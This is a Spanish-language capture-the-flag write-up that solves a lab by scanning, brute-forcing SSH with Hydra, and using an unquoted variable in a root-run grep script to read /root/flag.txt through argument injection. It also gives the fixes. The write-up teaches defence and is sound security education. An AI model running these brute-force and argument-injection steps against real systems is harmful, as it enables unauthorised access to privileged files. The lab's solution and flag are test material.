GhostLabs

GhostLabs

red team operations :: offensive security
ghostlabs-argument — write-up
Laboratorio
ghostlabs-argument
Dificultad
★★★☆☆☆☆☆ media
Categoría
Argument Injection / Bash
Puerto
2222/tcp (SSH)
Usuario
player
Puntos
3 pts
⚠ SPOILER — Este documento contiene la solución completa del laboratorio

Descripción del laboratorio

Un sistema de validación de entradas protege el servidor mediante una lista blanca. El equipo de seguridad revisó el código y confirmó que "todas las variables usan comillas". Tu misión: encontrar por qué esa afirmación no es suficiente.

▶ nmap → puerto 2222/tcp
▶ SSH banner → usuario player
▶ Hydra → contraseña letmein
▶ sudo -l → permiso sobre /usr/local/bin/validador
▶ cat validador → grep $INPUT — sin comillas!
▶ sudo validador --version → inyección de opción demostrada
▶ sudo validador ". /root/flag.txt" → word-split → FLAG

Contexto: inyección de argumentos vs. command injection

La inyección de argumentos es más sutil que la inyección de comandos clásica:

TipoRequiereEjemplo
Command injectionMetacaracteres shell (; & | $)input; cat /etc/passwd
Argument injectionSolo una opción o ruta válida--file /root/flag.txt

Si el atacante controla qué argumentos llegan a un programa como grep, puede modificar su comportamiento completamente sin ningún metacarácter.

En bash, la causa principal es una variable sin comillas:

# VULNERABLE: word-splitting + inyección de opciones
grep $INPUT archivo.txt

# FIX PARCIAL: evita word-splitting, pero --version sigue funcionando
grep "$INPUT" archivo.txt

# FIX COMPLETO: -- marca fin de opciones + comillas evitan splitting
grep -- "$INPUT" archivo.txt

Explotación paso a paso

1
Reconocimiento de red
nmap -sV -p- --min-rate 3000 <LAB_IP>
PORT     STATE SERVICE VERSION
2222/tcp open  ssh     OpenSSH 7.9p1 Debian

Solo SSH disponible. El objetivo es acceder al sistema.

2
Enumeración SSH — banner pre-autenticación
ssh guest@<LAB_IP> -p 2222
GhostLabs Security Platform v2.0
Input validation service: ACTIVE

Contact: player (security operator)

guest@<LAB_IP>'s password:

El banner revela el usuario: player. Pulsamos Ctrl+C para cancelar.

3
Fuerza bruta SSH
hydra -l player -P /usr/share/wordlists/rockyou.txt ssh://<LAB_IP>:2222 -t 4
[2222][ssh] host: <LAB_IP>   login: player   password: letmein
4
Acceso inicial y orientación
ssh player@<LAB_IP> -p 2222
GhostLabs Security Platform v2.0
Input validation service: ACTIVE
All user inputs are sanitized.
cat ~/README.txt
Sistema de validacion de entradas v2.0

El servicio filtra entradas usando una lista blanca para prevenir injection.
La implementacion fue revisada por el equipo de seguridad:
todas las variables de usuario usan comillas para evitar injection.

El README asegura que "todas las variables usan comillas". Esta afirmación nos indica que hay algo interesante que revisar en el código.

5
Escalada: sudo -l y análisis del script
sudo -l
User player may run the following commands on ghostlabs-argument:
    (root) NOPASSWD: /usr/local/bin/validador
cat /usr/local/bin/validador
#!/bin/bash
WHITELIST="/usr/local/share/ghostlabs/whitelist.txt"
...
INPUT=$1

echo "[*] Verificando entrada: '$INPUT'"
grep $INPUT "$WHITELIST"    ← ¡$INPUT sin comillas!

El README decía "todas las variables usan comillas". En la asignación INPUT=$1, las comillas no son necesarias (la asignación no sufre word-splitting). Pero en grep $INPUT "$WHITELIST", $INPUT NO está entre comillas. Ahí está el bug.

6
Demostración de la inyección de opciones

Uso normal:

sudo validador admin
[*] Verificando entrada: 'admin'
admin
[✓] Patron encontrado en la lista blanca

Inyectamos una opción de grep:

sudo validador --version
[*] Verificando entrada: '--version'
grep (GNU grep) 3.6
...
[✓] Patron encontrado en la lista blanca

grep mostró su versión en lugar de buscar el patrón --version en la whitelist. La inyección de argumentos funciona.

Esto funcionaría incluso con "$INPUT" (comillas en la variable). Las comillas evitan word-splitting pero grep sigue interpretando opciones que empiezan con --. El fix completo requiere grep -- "$INPUT".
7
Explotación: word-splitting para leer la flag

Pasamos un string con espacio como único argumento. Porque $INPUT está sin comillas, el shell aplica word-splitting al expandirlo:

sudo validador ". /root/flag.txt"

Internamente ocurre:

# INPUT recibe el string completo (con espacio)
INPUT=". /root/flag.txt"

# Al expandir SIN comillas, el shell hace word-splitting:
grep $INPUT "$WHITELIST"
# ↓ se convierte en:
grep . /root/flag.txt /usr/local/share/ghostlabs/whitelist.txt
#    ^   ^                 ^
#  patrón  archivo extra   archivo original

grep busca . (cualquier carácter) en AMBOS archivos:

[*] Verificando entrada: '. /root/flag.txt'
/root/flag.txt:GhostLabs{4rgum3nt_1nj3ct10n}
/usr/local/share/ghostlabs/whitelist.txt:admin
/usr/local/share/ghostlabs/whitelist.txt:user
/usr/local/share/ghostlabs/whitelist.txt:root
/usr/local/share/ghostlabs/whitelist.txt:test
/usr/local/share/ghostlabs/whitelist.txt:guest
/usr/local/share/ghostlabs/whitelist.txt:operator

[✓] Patron encontrado en la lista blanca
Flag obtenida
GhostLabs{4rgum3nt_1nj3ct10n}

¿Por qué falla la "sanitización"?

ProblemaCausaFix
Word-splitting $INPUT sin comillas → el shell divide en tokens al expandir "$INPUT"
Inyección de opciones grep parsea su propio argv → --version siempre es opción -- "$INPUT"

Progresión del fix:

# Nivel 1 — vulnerable a todo
grep $INPUT whitelist.txt

# Nivel 2 — evita word-splitting, sigue vulnerable a --opciones
grep "$INPUT" whitelist.txt

# Nivel 3 — fix completo
grep -- "$INPUT" whitelist.txt

La ironía: el README decía "todas las variables usan comillas". En INPUT=$1 las comillas no son necesarias (no hay word-splitting en asignaciones simples). El error fue no ponerlas donde SÍ importan: en el uso.

Remediación

# Versión corregida del validador
grep -- "$INPUT" "$WHITELIST"
ElementoPropósito
"$INPUT"Comillas → evita word-splitting y globbing
--Marca el fin de las opciones de grep; lo que sigue es patrón aunque empiece con -

Adicionalmente, validar que el input no contenga caracteres inesperados:

if [[ "$INPUT" =~ [^a-zA-Z0-9_-] ]]; then
    echo "[!] Caracteres no permitidos"
    exit 1
fi

Herramientas utilizadas

HerramientaUso
nmapDescubrimiento del puerto SSH
sshEnumeración de banner pre-autenticación + acceso inicial
hydraFuerza bruta SSH con rockyou.txt
sudo -lDescubrimiento del binario privilegiado
catLectura del script para analizar el bug
bash word-splittingMecanismo de explotación